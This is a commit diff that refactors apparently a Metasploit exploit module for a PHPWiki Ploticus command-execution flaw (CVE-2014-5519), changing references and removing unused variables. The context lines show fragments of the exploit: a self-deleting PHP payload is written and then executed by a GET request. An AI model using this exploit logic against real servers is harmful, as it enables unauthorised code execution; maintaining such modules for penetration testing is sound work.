Some refactoring

Use EDB instead of URL for Exploit-DB.
Remove peer variable as peer comes from HttpClient.

Author: Vincent Herbulot

modules/exploits/multi/http/phpwiki_ploticus_exec.rb

@@ -27,7 +27,7 @@ def initialize(info = {})
         [
           [ 'CVE', '2014-5519' ],
           [ 'OSVDB', '110576' ],
-          [ 'URL', 'http://www.exploit-db.com/exploits/34451/']
+          [ 'EDB', '34451']
         ],
       'Payload'	       =>
         {
@@ -41,7 +41,7 @@ def initialize(info = {})
           [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
         ],
       'DefaultTarget'  => 0,
-      'DisclosureDate' => 'Sept 11 2014'))
+      'DisclosureDate' => 'Sep 11 2014'))
 
     register_options(
       [
@@ -51,7 +51,6 @@ def initialize(info = {})
 
   def exploit
     uri =  target_uri.path
-    peer = "#{rhost}:#{rport}"
 
     payload_name = "#{rand_text_alpha(8)}.php"
     php_payload = get_write_exec_payload(:unlink_self=>true)
@@ -74,7 +73,7 @@ def exploit
 
     upload_uri = normalize_uri(uri + "/" + payload_name)
     print_status("#{peer} - Executing payload #{payload_name}")
-    res = send_request_raw({
+    send_request_raw({
       'uri'    => upload_uri,
       'method' => 'GET'
     })